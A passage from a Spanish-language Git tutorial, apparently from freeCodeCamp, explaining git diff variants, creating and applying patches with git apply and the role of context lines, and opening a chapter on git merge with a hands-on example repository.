diff entre el área de preparación y el árbol de trabajo.</p><p>¿Qué sucede si quiere obtener el diff entre el <code>HEAD</code> y el área de preparación? Para eso, puedes usar <code>git diff --cached</code>:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_diff_cached.png" class="kg-image" alt=" shows the difference between  and the index" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git diff --cached</code> shows the difference between <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">HEAD</code> and the index</figcaption></figure><p>¿Y qué pasa si quieres la diferencia entre el <code>HEAD</code> y el árbol de trabajo? Para eso puedes ejecutar <code>git diff HEAD</code>:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_diff_HEAD.png" class="kg-image" alt=" shows the difference between  and the working dir" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git diff HEAD</code> shows the difference between <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">HEAD</code> and the working dir</figcaption></figure><p>Para resumir los diferentes cambios para git diff que hemos visto hasta ahora, aquí hay un diagrama:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_diff_diagram_1.png" class="kg-image" alt="Different switches for " width="600" height="400" loading="lazy"><figcaption>Different switches for <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git diff</code></figcaption></figure><p>Como un recordatorio, al principio de este capítulo usaste <code>git diff --no-index</code>. Con el conmutador <code>--no-index</code>, puedes comparar dos archivos que no son parte del repositorio - o de cualquier área de preparación.</p><p>Ahora, confirma los cambios que tienes en el área de preparación:</p><pre><code class="language-bash">git commit -m "Commit 4"
</code></pre><p>Para observar el diff entre esta confirmación y su confirmación padre, puedes ejecutar el siguiente comando:</p><pre><code class="language-bash">git diff HEAD~1 HEAD
</code></pre><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_diff_HEAD_1_HEAD.png" class="kg-image" alt="The output of " width="600" height="400" loading="lazy"><figcaption>The output of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git diff HEAD~1 HEAD</code></figcaption></figure><p>Por cierto, puedes omitir el <code>1</code> de arriba y escribir <code>HEAD~</code>, y obtener el mismo resultado. Usando <code>1</code> es la forma explícita para expresar que te refieres al primer padre de la confirmación.</p><p>Fíjate que escribir la confirmación padre aquí, <code>HEAD~1</code>, primero resulta en un diff mostrando cómo obtener <em>de</em> la confirmación padre <em>a la</em> confirmación actual. Por supuesto, podría también generar el diff en reversa al escribir:</p><pre><code class="language-bash">git diff HEAD HEAD~1
</code></pre><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_diff_HEAD_HEAD_1.png" class="kg-image" alt="The output of  generates the reverse patch" width="600" height="400" loading="lazy"><figcaption>The output of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git diff HEAD HEAD~1</code> generates the reverse patch</figcaption></figure><p>Para resumir todos los diferentes cambios para git diff que cubrimos en esta sección, mira este diagrama:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_diff_diagram_2.png" class="kg-image" alt="The different switches for " width="600" height="400" loading="lazy"><figcaption>The different switches for <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git diff</code></figcaption></figure><p>Una forma corta de ver el diff entre una confirmación y su padre es usando <code>git show</code>, por ejemplo:</p><pre><code class="language-bash">git show HEAD
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_show_HEAD.png" class="kg-image" alt="git_show_HEAD" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git show HEAD</code></figcaption></figure><p>Esto es lo mismo que escribir:</p><pre><code class="language-bash">git diff HEAD~ HEAD
</code></pre><p>Ahora podemos actualizar nuestro diagrama:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_diff_diagram_3.png" class="kg-image" alt=" is used to show the difference between commits" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git diff HEAD~ HEAD</code> is used to show the difference between commits</figcaption></figure><p>Puedes volver a este diagrama como una referencia cuando sea necesario.</p><p>Como un recordatorio, las confirmaciones de Git son copias instantáneas - del directorio de trabajo completo del repositorio, en un cierto punto en el tiempo. A pesar de todo, a veces no es útil considerar a una confirmación como una copia instantánea completa, sino más bien por los <strong>cambios</strong> que esta confirmación específica introdujo. En otras palabras, por el diff entre una confirmación padre a la confirmación siguiente.</p><p>Como aprendiste en el <a href="#cap-1">capítulo de Objetos de Git</a>, Git almacena las copias instantáneas <strong>enteros</strong>. El diff es generado dinámicamente de los datos de la copia instantánea - al comparar los árboles principales de la confirmación y su padre.</p><p>Por supuesto, Git puede comparar cualquiera de las dos copias instantáneas en el tiempo, no sólo confirmaciones adyacentes, y también generar un diff de archivos que no son incluidos en un repositorio.</p><h3 id="c-mo-aplicar-parches">Cómo aplicar Parches</h3><p>Al usar <code>git diff</code> puedes ver un parche que Git genera, y luego puedes aplicar este patch usando <code>git apply</code>.</p><h4 id="nota-hist-rica">Nota Histórica</h4><p>En realidad, compartir parches solía ser la principal forma de compartir código al comienzo del código abierto. Pero ahora - virtualmente todos los proyectos se han movido a compartir confirmaciones de Git directamente a través de pull requests (llamados "merge requests - peticiones de fusión" en algunas plataformas).</p><p>El mayor problema con usar parches es que es difícil de aplicar un parche cuando tu directorio de trabajo no coincide con la confirmación previa del emisor. Perder el historial de la confirmación lo vuelve difícil para resolver conflictos. Entenderás mejor esto a medida que indagues más profundamente en el proceso de <code>git apply</code>, especialmente en el próximo capítulo donde cubrimos las fusiones.</p><h4 id="un-simple-parche">Un Simple Parche</h4><p>¿Qué significa aplicar un parche? ¡Es tiempo de intentarlo!</p><p>Toma la salida de <code>git diff</code>:</p><pre><code class="language-bash">git diff HEAD~1 HEAD
</code></pre><p>Y almacénalo en un archivo:</p><pre><code class="language-bash">git diff HEAD~1 HEAD &gt; my_patch.patch
</code></pre><p>Usa <code>reset</code> para deshacer la última confirmación:</p><pre><code class="language-bash">git reset --hard HEAD~1
</code></pre><p>No te preocupes del último comando - te lo explicaré en detalle en la Parte 3, donde discutimos deshacer cambios. En breve, nos permite "resetear" el estado a donde <code>HEAD</code> está apuntando, así también como el estado del índice y del directorio de trabajo. En el ejemplo de arriba, todos están puestos al estado de <code>HEAD~1</code>, o "Confirmación 3" en el diagrama.</p><p>Así que después de ejecutar el comando reset, los contenidos del archivo son como sigue (el estado de "Confirmación 3"):</p><pre><code class="language-bash">nano new_file.txt
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/nano_new_file-1.png" class="kg-image" alt="nano_new_file-1" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">new_file.txt</code></figcaption></figure><p>Y aplicarás este parche que recién has guardado:</p><pre><code class="language-bash">nano my_patch.patch
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/my_patch.png" class="kg-image" alt="The patch you are about to apply, as generated by git diff" width="600" height="400" loading="lazy"><figcaption>The patch you are about to apply, as generated by git diff</figcaption></figure><p>Este parche le dice a Git que encuentre las líneas:</p><pre><code class="language-txt">This is a new file
With new content!
</code></pre><p>Esas líneas solían ser el número de línea 1 y número de línea 2 en <code>new_file.txt</code>, y agrega una línea con el contenido <code>START!</code> justo arriba de ellos.</p><p>Ejecuta este comando para aplicar el parche:</p><pre><code class="language-bash">git apply my_patch.patch
</code></pre><p>Y como resultado, obtienes esta versión de tu archivo, justo como la confirmación que has creado antes:</p><pre><code class="language-bash">nano new_file.txt
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/new_file_after_applying.png" class="kg-image" alt="The contents of  after applying the patch" width="600" height="400" loading="lazy"><figcaption>The contents of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">new_file.txt</code> after applying the patch</figcaption></figure><h4 id="entendiendo-la-l-neas-de-contexto">Entendiendo la Líneas de Contexto</h4><p>Para entender la importancia de las líneas de contexto, considera un escenario más avanzado. ¿Qué sucede si los números de líneas han cambiado desde que creaste el archivo parche?</p><p>Para probar, comienza por crear otro archivo:</p><pre><code class="language-bash">nano test.text
</code></pre><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/testing_file.png" class="kg-image" alt="Creating another file - " width="600" height="400" loading="lazy"><figcaption>Creating another file - <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">test.txt</code></figcaption></figure><p>Pónlo en el área de preparación y confirma este archivo:</p><pre><code class="language-bash">git add test.txt

git commit -m "Test file"
</code></pre><p>Ahora, cambia este archivo al agregar una nueva línea, y también eliminando la línea antes de la última:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/testing_file_modified.png" class="kg-image" alt="Changes to " width="600" height="400" loading="lazy"><figcaption>Changes to <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">test.txt</code></figcaption></figure><p>Observa la diferencia entre la versión original del archivo y la versión incluyendo tus cambios:</p><pre><code class="language-bash">git diff -- test.txt
</code></pre><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/testing_file_diff.png" class="kg-image" alt="The output for git diff -- " width="600" height="400" loading="lazy"><figcaption>The output for <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git diff -- test.txt</code></figcaption></figure><p>(Usando <code>--test.txt</code> le dice a Git que ejecute el comando <code>diff</code>, tomando en consideración solamente a <code>test.txt</code>, así no obtienes el diff para otros archivos.)</p><p>Almacena este diff en un archivo parche:</p><pre><code class="language-bash">git diff -- test.txt &gt; new_patch.patch
</code></pre><p>Ahora, resetea tu estado a ese antes de introducir los cambios:</p><pre><code class="language-bash">git reset --hard
</code></pre><p>Si llegaras a aplicar new_patch.patch ahora, simplemente funciona.</p><p>Ahora consideremos un caso más interesante. Modifica a <code>test.txt</code> nuevamente al agregar una nueva línea al principio:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/testing_file_added_first_line.png" class="kg-image" alt="Adding a new line at the beginning of " width="600" height="400" loading="lazy"><figcaption>Adding a new line at the beginning of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">test.txt</code></figcaption></figure><p>Como resultado, los números de líneas son diferentes de la versión original donde el parche ha sido creado. Considera el parche que creaste antes:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/new_patch.png" class="kg-image" alt="new_patch" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">new_patch.patch</code></figcaption></figure><p>Asume que la línea <code>With more text</code> es la segunda línea en <code>test.txt</code>, el cual no es más el caso. Así que... ¿funcionará <code>git apply</code>?</p><pre><code class="language-bash">git apply new_patch.patch
</code></pre><p>¡Funcionó!</p><p>Por defecto, Git busca las 3 líneas de contexto antes y después de cada cambio introducido en el parche - como puedes ver, son incluidos en el archivo parche. Si tomas tres líneas antes y después de la línea agregada, y tres líneas antes y después de la línea eliminada (en realidad solamente una línea después, ya que no existen otras líneas) - llegas al archivo parche. Si todas estas líneas existen - entonces aplicar el parche funciona, inclusive si los números de línea cambiaron.</p><p>Resetea el estado de nuevo:</p><pre><code class="language-bash">git reset --hard
</code></pre><p>¿Qué sucede si cambias una de las líneas de contexto? Intenta cambiando la línea <code>With more text</code> a <code>With more text!</code>:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/testing_file_modifying_second_line.png" class="kg-image" alt="Changing the line  to " width="600" height="400" loading="lazy"><figcaption>Changing the line `With more text` to <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">With more text!</code></figcaption></figure><p>Y ahora:</p><pre><code class="language-bash">git apply new_patch.patch
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_apply_new_patch.png" class="kg-image" alt=" doesn't apply the patch" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git apply</code> doesn't apply the patch</figcaption></figure><p>Bueno, no. El parche no se aplica. Si no estás seguro por qué, o solo quieres entender mejor el proceso que Git está realizando, puedes agregar el argumento <code>--verbose</code> a <code>git apply</code>, así:</p><pre><code class="language-bash">git apply --verbose new_patch.patch
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_apply_new_patch_verbose.png" class="kg-image" alt=" shows the process Git is taking to apply the patch" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git apply --verbose</code> shows the process Git is taking to apply the patch</figcaption></figure><p>Parece que Git buscó líneas del archivo, incluyendo la línea "With more text", justo antes de la línea "It has some really nice lines". Esta secuencia de líneas ya no existen en el archivo. Ya que Git no puede encontrar esta secuencia, no puede aplicar el parche.</p><p>Como se mencionó antes, por defecto, Git busca 3 líneas de contexto antes y después de cada cambio introducido en el parche. Si las tres líneas circundantes no existen, Git no puede aplicar el parche.</p><p>Le puedes pedir a Git que se base en menos líneas de contexto, usando el argumento <code>-C</code>. Por ejemplo, para pedir a Git que busque 1 línea de contexto circundante, ejecuta el siguiente comando:</p><pre><code class="language-bash">git apply -C1 new_patch.patch
</code></pre><p>¡El parche se aplica!</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_apply_c1.png" class="kg-image" alt="git_apply_c1" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git apply -C1 new_patch.patch</code></figcaption></figure><p>¿Por qué es eso? Considera el parche nuevamente:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/new_patch-1.png" class="kg-image" alt="new_patch-1" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">new_patch.patch</code></figcaption></figure><p>Cuando se aplica el parche con la opción <code>-C1</code>, Git está buscando las líneas:</p><pre><code class="language-txt">Like this one
And that one
</code></pre><p>para agregar la línea <code>!!!This is the new line!!!</code> entre estas dos líneas. Estas líneas existen (e, importantemente, aparecen justo después de la otra). Como resultado, Git puede agregar la línea entre ellos con éxito, aunque los números de línea cambiaron.</p><p>De manera similar, Git buscaría las líneas:</p><pre><code class="language-txt">How wonderful
So we are writing an example
Git is awesoome!
</code></pre><p>Ya que Git puede encontrar estas líneas, Git puede eliminar el del medio.</p><p>Si cambiamos una de estas líneas, digamos, cambiamos "How wonderful" a "How very wondeful", entonces Git no sería capaz de encontrar la cadena de arriba, y así el parche no se aplicaría.</p><h3 id="recapitulando-git-diff-y-patch">Recapitulando - Git Diff y Patch</h3><p>En este capítulo, aprendiste qué es un diff, y la diferencia entre un diff y un parche. Aprendiste cómo generar varios parches usando diferentes conmutadores para <code>git diff</code>. También aprendiste cómo luce la salida de git diff, y cómo se construye. Por último, aprendiste cómo se aplican los patches, y específicamente la importancia del contexto.</p><p>Entender los diff es un hito importante para entender muchos otros procesos dentro de Git - por ejemplo, fusionando o rebasing, los cuales exploraremos en los próximos capítulos.</p><!--kg-card-begin: html--><h2 id="cap-7">Capítulo 7 - Entendiendo la Fusión de Git</h2><!--kg-card-end: html--><p>Al leer este capítulo, vas a entender realmente <code>git merge</code>, una de las operaciones más comunes que ejecutarás en tus repositorios de Git.</p><h3 id="-qu-es-un-merge-fusi-n-en-git"><strong>¿Qué es un Merge (Fusión) en Git?</strong></h3><p>Fusionar es el proceso de combinar los cambios recientes de varias ramas en una sola nueva confirmación. Esta confirmación apunta a estas ramas.</p><p>De una forma, fusionar es el complemento de ramificación en control de versiones: una rama te permite trabajar de manera simultánea con otros en un conjunto particular de archivos, donde una fusión te permite luego combinar trabajos separados en ramas que difieren de una confirmación padre en común.</p><p>Muy bien, vamos poco a poco.	</p><p>Recuerda que en Git, una rama es sólo un nombre que apunta a una confirmación única. Cuando pensamos sobre las confirmaciones como si estuvieran sólo "en" una rama específica, en realidad son accesibles a través de la cadena principal desde la confirmación a la que la rama está apuntando.</p><p>Eso es, si consideras este gráfico de confirmación:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/commit_graph_1.png" class="kg-image" alt="Commit graph with " width="600" height="400" loading="lazy"><figcaption>Commit graph with <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">feature_1</code></figcaption></figure><p>Ves la rama <code>feature_1</code>, el cual apunta a una confirmación con el valor de SHA-1 de <code>ba0d2</code>. Como en los capítulos previos, solamente escribo los primeros 5 dígitos del valor de SHA-1 para brevedad.</p><p>Fíjate que la confirmación <code>54a9d</code> está también "en" esta rama, ya que es la confirmación antecesora de <code>bad0d2</code>. Si comienzas desde el puntero de <code>feature_1</code>, llegas a <code>ba0d2</code>, el cual luego apunta a <code>54a9d</code>. Puedes continuar en la cadena de padres, y todas estas confirmaciones accesibles son considerados estar "en" el <code>feature_1</code>.</p><p>Cuando fusionas con Git, fusionas confirmaciones. Casi siempre, fusionamos dos confirmaciones al referirnos a ellos con los nombres de rama a los que apuntan. De esa forma decimos que "fusionamos ramas" - aunque por debajo, en realidad fusionamos confirmaciones.</p><h3 id="tiempo-de-manos-a-la-obra-1"><strong>Tiempo de manos a la obra</strong></h3><p>Para este capítulo, usaré el siguiente repositorio:</p><p><a href="https://github.com/Omerr/gitting_things_merge.git">https://github.com/Omerr/gitting_things_merge.git</a></p><p>Como en capítulos previos, te animo a clonarlo localmente y tener el mismo punto de comienzo que estoy usando para este capítulo.</p><p>Muy bien, digamos que tenemos este simple repositorio aquí, con una rama llamada <code>main</code>, y unas pocas confirmaciones con los mensajes de confirmación de "Commit 1", "Commit 2", y "Commit 3":</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/commits_1_3.png" class="kg-image" alt="A simple repository with three commits" width="600" height="400" loading="lazy"><figcaption>A simple repository with three commits</figcaption></figure><p>Luego, crea una rama feature al escribir <code>git branch new_feature</code>:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_branch_new_feature.png" class="kg-image" alt="Creating a new branch with " width="600" height="400" loading="lazy"><figcaption>Creating a new branch with <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git branch</code></figcaption></figure><p>Y cambia a <code>HEAD</code> para que apunte a esta nueva rama, usando <code>git checkout new_feature</code> (o <code>git switch new_feature</code>). Puedes ver la salida usando git log:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_checkout_new_feature.png" class="kg-image" alt="The output of  after using " width="600" height="400" loading="lazy"><figcaption>The output of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git log</code> after using <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git checkout new_feature</code></figcaption></figure><p>Como recordatorio, podrías también escribir <code>git checkout -b new_feature</code>, el cual crearía una nueva rama y cambiar el <code>HEAD</code> a que apunte a esta nueva rama.</p><p>Si necesitas un recordatorio sobre las ramas y cómo son implementados por debajo, por favor mira el <a href="#cap-2">capítulo 2</a>. Sí, míralo. 😇</p><p>Ahora, en la rama <code>new_feature</code>, implementa una nueva característica. En este ejemplo, editaré un archivo que ya existe que luce así antes de editarlo:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/code_py_before_changes.png" class="kg-image" alt=" before editing it" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">code.py</code> before editing it</figcaption></figure><p>Y ahora lo editaré para que incluya una nueva función:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/code_py_new_feature.png" class="kg-image" alt="Implementing " width="600" height="400" loading="lazy"><figcaption>Implementing <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">new_feature</code></figcaption></figure><p>Y afortunadamente, este no es un libro de programación, así que esta función es correcta 😇</p><p>Luego, colócalo en el área de preparación y confirma esta confirmación:</p><pre><code class="language-bash">git add code.py

git commit -m "Commit 4"
